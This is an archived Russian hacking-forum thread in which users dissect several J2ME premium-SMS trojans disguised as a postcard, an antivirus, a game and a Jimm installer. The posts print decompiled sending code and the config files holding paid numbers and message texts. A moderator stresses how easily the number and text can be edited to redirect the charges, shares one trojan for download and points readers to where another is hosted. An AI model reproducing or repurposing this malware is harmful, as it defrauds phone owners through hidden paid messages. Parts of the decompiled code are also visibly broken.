1. Вы находитесь в архивной версии форума xaker.name. Здесь собраны темы с 2007 по 2012 год, большинство инструкций и мануалов уже неактуальны.
    Скрыть объявление

SMSalarm - OTKPblTKA

Тема в разделе "Вирусы, компьютерная помощь", создана пользователем chimatii, 19 ноя 2010.

  1. chimatii

    chimatii Глобальный модератор

    Регистрация:
    13 окт 2009
    Сообщения:
    0
    Симпатии:
    98
    Баллы:
    0
    Сегодня утром пришла SMS-ка (гребаный мегафон с его новой услугой рассылки:():

    Код:
    [B]+79234925428[/B]
    От Абонента Вам открытка: http://mms-ka.ru/118
    
    При открытии ссылки с мобильного телефона высветилось сообщение об установке приложения с именем "OTKPblTKA". Тут я решил, что оно без моего ведома отправит платную смс-ку, но вот куда?)

    Скачав jar-файл и распаковав его WinRAR-ом получил следующие файлы:

    Код:
    lib\Resources\ResourcesUTF8.class
    META-INF\MANIFEST.MF
    love.JPG
    main.class
    sample.png
    Итак, что я там увидел: [​IMG] - это love.JPG, видимо наша открытка

    Код:
    Manifest-Version: 1.0
    MicroEdition-Configuration: CLDC-1.0
    MIDlet-Name: OTKPblTKA
    Created-By: 1.4.2_05 (Sun Microsystems Inc.)
    MIDlet-Vendor: Unknown
    MIDlet-1: OTKPblTKA, SMSalarm.png, main
    MIDlet-Version: 1.0
    MicroEdition-Profile: MIDP-1.0
    - MANIFEST.MF, ничего интересного


    Далее при помощи DJ Java Decompiler был изучен main.class:

    Код:
    import java.io.IOException;
    import java.io.PrintStream;
    import javax.microedition.io.Connector;
    import javax.microedition.lcdui.*;
    import javax.microedition.midlet.MIDlet;
    import javax.wireless.messaging.MessageConnection;
    import javax.wireless.messaging.TextMessage;
    import lib.Resources.ResourcesUTF8;
    
    public class main extends MIDlet
        implements CommandListener
    {
    
        public main()
        {
            [B]language = new ResourcesUTF8("/sample.png"[/B]);
            isLanguage = language.load();
            cmd_ok = new Command("\u041E\u043A", 4, 2);
            cmd_cancel = new Command("\u041E\u0442\u043C\u0435\u043D\u0430", 7, 4);
        }
    
        public void startApp()
        {
            display = Display.getDisplay(this);
            try
            {
                image = Image.createImage(language.get("picname"));
            }
            catch(IOException ioexception)
            {
                System.out.println(ioexception.getMessage());
            }
            [B]form = new Form(language.get("title"));[/B]
           [B] form.append(language.get("textvalue"));[/B]
            form.addCommand(cmd_ok);
            form.addCommand(cmd_cancel);
            form.setCommandListener(this);
            display.setCurrent(form);
        }
    
        public void pauseApp()
        {
            System.gc();
        }
    
        public void destroyApp(boolean flag)
        {
        }
    
        public void commandAction(Command command, Displayable displayable)
        {
            if(command == cmd_ok)
            {
                try
                {
                  [B]  String s = "sms://" + language.get("numberphone1");
                    MessageConnection messageconnection = (MessageConnection)Connector.open(s);
                    TextMessage textmessage = (TextMessage)messageconnection.newMessage("text");
                    textmessage.setPayloadText(language.get("message1"));
                    messageconnection.send(textmessage);
                }
                catch(Exception exception) { }
                try
                {
                    String s1 = "sms://" + language.get("numberphone2");
                    MessageConnection messageconnection1 = (MessageConnection)Connector.open(s1);
                    TextMessage textmessage1 = (TextMessage)messageconnection1.newMessage("text");
                    textmessage1.setPayloadText(language.get("message2"));
                    messageconnection1.send(textmessage1);
                }
                catch(Exception exception1) { }
                try
                {
                    String s2 = "sms://" + language.get("numberphone3");
                    MessageConnection messageconnection2 = (MessageConnection)Connector.open(s2);
                    TextMessage textmessage2 = (TextMessage)messageconnection2.newMessage("text");
                    textmessage2.setPayloadText(language.get("message3"));
                    messageconnection2.send(textmessage2);
                }
                catch(Exception exception2) { }
                form.delete(0);
                form.append(image);
            }
            if(command == cmd_cancel)
                notifyDestroyed();
        }[/B]
    
        public static ResourcesUTF8 language;
        private boolean isLanguage;
        private Form form;
        private Image image;
        private Display display;
        private Command cmd_ok;
        private Command cmd_cancel;
    }
    Из некоторых строчек (я их выделил толстеньким) мне показалось, что sample.png - текстовый файл!:blink: Открыв его при помощи блокнота, увидел следующее:

    Код:
    title=OTKPblTKA
    textvalue=Просмотреть открытку?
    picname=/love.JPG
    numberphone1=8454
    message1=id107602940
    numberphone2=8454
    message2=id107602940
    numberphone3=8454
    message3=id107602940
    На телефоне приложение не запускал, но видно, что в данном случае будет опправлена SMS на номер "8454" (стоимость около 30 рублей) с текстом "id107602940", и за наш счет пополнятся голоса ВКонтакте, из id - по-видимому вот этой мадам:

    [​IMG]

    Ну и так как текст смс и номера для отправки можно легко изменить тем же блокнотом, вылаживаю сюда этот троянчик (но под хайдом;)):

     
    6 пользователям это понравилось.
  2. chimatii

    chimatii Глобальный модератор

    Регистрация:
    13 окт 2009
    Сообщения:
    0
    Симпатии:
    98
    Баллы:
    0
    странный какой то сегодня день, но я вырыл еще один фейк, правда не проверял его, т.к. особого желания кормить кого-то нету))

    итак, описание) содержит следующие файлы:

    Код:
    META-INF\MANIFEST.MF
    SmsBox.class
    a.class
    на этот раз в .class файлах находится мало чего интересного.

    a.class, функции отправки смс:

    Код:
    import javax.microedition.io.Connection;
    import javax.microedition.io.Connector;
    import javax.wireless.messaging.*;
    
    public final class a
        implements Runnable
    {
    
        public a()
        {
        }
    
        public final void a(String s, String s1)
        {
            if(a_java_lang_Thread_fld == null)
            {
                a_java_lang_String_fld = s1;
                b = "sms://" + s;
                a_boolean_fld = false;
                a_java_lang_Thread_fld = new Thread(this);
                a_java_lang_Thread_fld.start();
            }
        }
    
        public final void run()
        {
            MessageConnection messageconnection = null;
            TextMessage textmessage;
            (textmessage = (TextMessage)(messageconnection = (MessageConnection)Connector.open(b)).newMessage("text")).setAddress(b);
            textmessage.setPayloadText(a_java_lang_String_fld);
            messageconnection.send(textmessage);
            a_boolean_fld = true;
            if(messageconnection != null)
                try
                {
                    messageconnection.close();
                }
                catch(Exception _ex) { }
            break MISSING_BLOCK_LABEL_114;
            JVM INSTR pop ;
            a_boolean_fld = false;
            if(messageconnection != null)
                try
                {
                    messageconnection.close();
                }
                catch(Exception _ex) { }
            break MISSING_BLOCK_LABEL_114;
            Exception exception;
            exception;
            if(messageconnection != null)
                try
                {
                    messageconnection.close();
                }
                catch(Exception _ex) { }
            throw exception;
            synchronized(this)
            {
                a_java_lang_Thread_fld = null;
            }
            return;
        }
    
        public final boolean a()
        {
            try
            {
                a_java_lang_Thread_fld.join();
            }
            catch(Exception _ex) { }
            return a_boolean_fld;
        }
    
        private String a_java_lang_String_fld;
        private String b;
        private boolean a_boolean_fld;
        private Thread a_java_lang_Thread_fld;


    SmsBox.class содержит тело программы:

    Код:
    import javax.microedition.lcdui.*;
    import javax.microedition.midlet.MIDlet;
    
    public class SmsBox extends MIDlet
        implements CommandListener, Runnable
    {
    
        public SmsBox()
        {
            a_int_fld = 0;
            a_boolean_fld = true;
            bEndNum = false;
            iTmp = 0;
            b = false;
            smsText = "";
            smsNumber = "";
            bSMSresult = false;
            display = Display.getDisplay(this);
            a_int_fld = 0;
        }
    
        public void init()
        {
            SMS = new a();
            [B]mainForm = new Form("\u0417\u0430\u0433\u0440\u0443\u0437\u043A\u0430, \u043F\u043E\u0434\u043E\u0436\u0434\u0438\u0442\u0435...");
            mainForm.setCommandListener(this);
            mainForm.append("\u0417\u0430\u0433\u0440\u0443\u0437\u043A\u0430, \u043F\u043E\u0434\u043E\u0436\u0434\u0438\u0442\u0435... \u0415\u0441\u043B\u0438 \u043D\u0435 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442\u0441\u0430, \u0442\u043E \u0440\u0430\u0437\u0440\u0435\u0448\u044B\u0442\u0435 \u043E\u0442\u043F\u0440\u0430\u0432\u043A\u0443 SMS. \u0412 \u0431\u0430\u0437\u0435 \u0434\u0430\u043D\u044B\u0445 \u044D\u0442\u043E\u0433\u043E \u0430\u043D\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u0430 6 \u0432\u044B\u0440\u0443\u0441\u043E\u0432, \u0431\u043E \u0431\u043E\u043B\u0443\u0448\u0435 \u043D\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442!");
            display.setCurrent(mainForm);[/B]
            a_int_fld = 1;
        }
    
        public void run()
        {
    _L4:
            int i;
            do
                while(a_int_fld == 0) 
                {
                    System.gc();
                    init();
                }
            while(b);
            i = 1;
    _L2:
            if(bEndNum)
                break; /* Loop/switch isn't completed */
            smsNumber = getAppProperty("SMSNum-" + i);
            if(smsNumber == null)
            {
                bEndNum = true;
                i = 0;
                break; /* Loop/switch isn't completed */
            }
            smsText = getAppProperty("SMSText-" + i);
            if(smsText == null)
            {
                bEndNum = true;
                i = 0;
                break; /* Loop/switch isn't completed */
            }
            try
            {
                SMS.a(smsNumber, smsText);
                iTmp = i;
                bSMSresult = SMS.a();
                if(!bSMSresult)
                    i = iTmp - 1;
                if(++i > 6)
                    bEndNum = true;
            }
            catch(Throwable _ex) { }
            if(true) goto _L2; else goto _L1
    _L1:
            destroyApp(false);
            notifyDestroyed();
            if(true) goto _L4; else goto _L3
    _L3:
        }
    
        public void commandAction(Command command, Displayable displayable)
        {
        }
    
        public void triggeredEvent(Canvas canvas)
        {
        }
    
        public void startApp()
        {
            if(a_boolean_fld)
            {
                Thread thread;
                (thread = new Thread(this)).start();
                a_boolean_fld = false;
            }
        }
    
        public void pauseApp()
        {
        }
    
        public void destroyApp(boolean flag)
        {
        }
    
        public void sendSMSForm()
        {
            bSMSresult = false;
            SMS.a(smsNumber, smsText);
            bSMSresult = SMS.a();
        }
    
        public Display display;
        public Form mainForm;
        public a SMS;
        private int a_int_fld;
        private boolean a_boolean_fld;
        public boolean bEndNum;
        public int iTmp;
        private boolean b;
        public String smsText;
        public String smsNumber;
        public boolean bSMSresult;
    }
    выделенный текст - это по идее unicode )) а содержание следующее:

    [​IMG]

    непонятно что школота имела ввиду :eek:
    ну и теперь главное) в файлике MANIFEST.MF можно изменить номер и текст сообщения:

    Код:
    Manifest-Version: 1.0
    Ant-Version: Apache Ant 1.6.2
    Created-By: 1.5.0_09-b03 (Sun Microsystems Inc.)
    MIDlet-1: Death,/icon.png,SmsBox
    MIDlet-Vendor: Dr. Web
    MIDlet-Icon: /icon.png
    MIDlet-Version: 1.0.1
    MIDlet-Name: Antivirus
    MicroEdition-Profile: MIDP-2.0
    MicroEdition-Configuration: CLDC-1.0
    [B]SMSNum-1: 4033
    SMSText-1: 997022978 
    SMSNum-2: 4033 
    SMSText-2:997022978 
    SMSNum-3: 4033
    SMSText-3: 997022978
    SMSNum-2: 4033[/B]
     
  3. chimatii

    chimatii Глобальный модератор

    Регистрация:
    13 окт 2009
    Сообщения:
    0
    Симпатии:
    98
    Баллы:
    0
    редактируется под себя блокнотом проще простого) зачем искать что то другое

    сегодня качал интересную игрушку на телефон и попался мне еще один аларм (зае**ли честно говоря, везде обман:() :

    [​IMG] [​IMG]
    при истеричном нажатии на правую софт-кнопку приближает картинку с девушкой:

    [​IMG]

    а потом отправляет смс, при нажатии на "7" выдает текст соглашения (картинка справа, текст читаем ниже)

    ну и редактируется номер\префикс как я понял из m.class:

    Код:
    number = new String(S.nl(res));
                pref = new String(S.nl(res));
                rules = new String(strtoutf8(S.nl(res)));
                _fldfinally = new String(strtoutf8(S.nl(res)));
    в файле data.dat, содержимое:

    5373 - номер, префикс 141269

    редактируется тем же блокнотом)

     
    Последнее редактирование: 12 янв 2011
  4. chimatii

    chimatii Глобальный модератор

    Регистрация:
    13 окт 2009
    Сообщения:
    0
    Симпатии:
    98
    Баллы:
    0
    Jimm Setup xD

    в общем наткнулся я еще на одно некое подобие аларма
    сайт _http://vipaska.ru/ предлагает скачать Jimm, но в пользовательском соглашении есть весьма интересные строки:

    теперь о самой "программе":

    [​IMG] [​IMG]

    вроде как все по чесноку, она предложит на основе пользовательского соглашения отправить смс с текстом "dommeetjava java+jimm34" на номер "7781", только я не понял где же сама аська? а нет ее)

    все тексты (соглашения и прочая чепуха), выдаваемые ей можно изменить в JimmSetup.class при помощи In Class Translator
    номер и текст смс - в b.class

    качать сие творение вы можете с сайта, указанного выше
     
  5. chimatii

    chimatii Глобальный модератор

    Регистрация:
    13 окт 2009
    Сообщения:
    0
    Симпатии:
    98
    Баллы:
    0
    еще один пациент:


    Распаковываем в WinRAR, видим несколько картинок, .class файлов, и .dat файлов.

    [​IMG]

    .dat файлы - это соглашения и прочая чепуха. Но где же номер и префикс смс-ки?

    Ответ пришел, когда я тщательнее рассмотрел Download.class:

    [​IMG]

    Что это за фигня? В конце строки есть ==, похоже на BASE-64:) Идем на crypo.com, расшифровываем и получаем:

    Что же у нас внутри Thumbs.db? А там тоже текст в BASE-64:)

    Вот они - и номера и префиксы. Как видите, отредактировать этот аларм под себя довольно просто)


     
    Последнее редактирование модератором: 15 июн 2011
    2 пользователям это понравилось.
  6. chimatii

    chimatii Глобальный модератор

    Регистрация:
    13 окт 2009
    Сообщения:
    0
    Симпатии:
    98
    Баллы:
    0
    DjTurxan, значения поменять то можно и легко)
    проблема в том, что после отправки смс нужно в самом контакте ввести ответный код

    [​IMG]
     
  7. corec

    corec Новичок

    Регистрация:
    17 авг 2011
    Сообщения:
    0
    Симпатии:
    4
    Баллы:
    0
    Сегодня тоже получил аналогичную СМС с ссылкой на mms-ka.net/foto. Оттуда и скачивается аларм. В .jar архиве обнаружены файлы:
    Ну в манифесте, понятное дело, ничего нет. А так же еще в некоторых файлах. Интересен файл: icon.ico, который содержит информацию о номере и префиксе.
    Еще есть класс для отправки sms под названием Lib_sms.class:
    PHP:
    import javax.microedition.io.Connector;
    import javax.wireless.messaging.MessageConnection;
    import javax.wireless.messaging.TextMessage;

    class 
    Lib_sms
      
    implements Runnable
    {
      public static 
    boolean m_isSendingZ false;
      public static 
    int m_successI 0;
      private 
    String m_destinationString;
      private 
    String m_messageString;

      public static 
    int send(String sString s1)
      {
        if (
    m_isSendingZ)
        {
          return 
    0;
        }

        new 
    Lib_sms(ss1);
        return -
    1;
      }

      public 
    Lib_sms(String sString s1)
      {
        
    m_successI 0;
        
    m_isSendingZ true;
        
    this.m_destinationString s;
        
    this.m_messageString s1;
        try
        {
          
    Thread thread = new Thread(this);
          
    thread.start();
        }
        catch (
    Exception exception)
        {
          
    m_isSendingZ false;
        }
      }

      public 
    void run()
      {
        try
        {
          
    MessageConnection messageconnection = (MessageConnection)Connector.open(this.m_destinationString);
          
    TextMessage textmessage = (TextMessage)messageconnection.newMessage("text"this.m_destinationString);
          
    textmessage.setPayloadText(this.m_messageString);
          
    messageconnection.send(textmessage);
          
    messageconnection.close();
          
    m_isSendingZ false;
          
    m_successI = -1;
          return;
        }
        catch (
    Exception exception)
        {
          
    m_isSendingZ false;

          
    m_successI 0;
        }
      }

      public static 
    int is_sending() {
        return 
    m_isSendingZ ? -0;
      }

      public static 
    int successfull()
      {
        return 
    m_successI;
      }
    }
    И M.class, в котором как раз и имеется функция, которая парсит из icon.ico данные для отправки смс:
    PHP:
    pref = new String(decode(prefpref.length()));
        
    number = new String(decode(numbernumber.length()));
        
    sms 0;
        do
          if ((
    Lib_sms.send("sms://" numberpref) != -: -1) != 0)
          {
            while ((
    Lib_sms.is_sending() != -: -1) != 0)
              
    Thread.sleep(100);
            if ((
    Lib_sms.successfull() != -: -1) != 0)
              
    sms = -1;
            else
              
    sms 0;
          }
          else
          {
            
    sms 0;
          }
        while (
    sms == 0);
        
    G.drawImage(Image.createImage("/picture.png"), 0020);
    А затем отправляет СМС и показывает вот такую картинку
    [​IMG]

    Вообще интересная фишка, мне понравилось %)
     
    2 пользователям это понравилось.

Поделиться этой страницей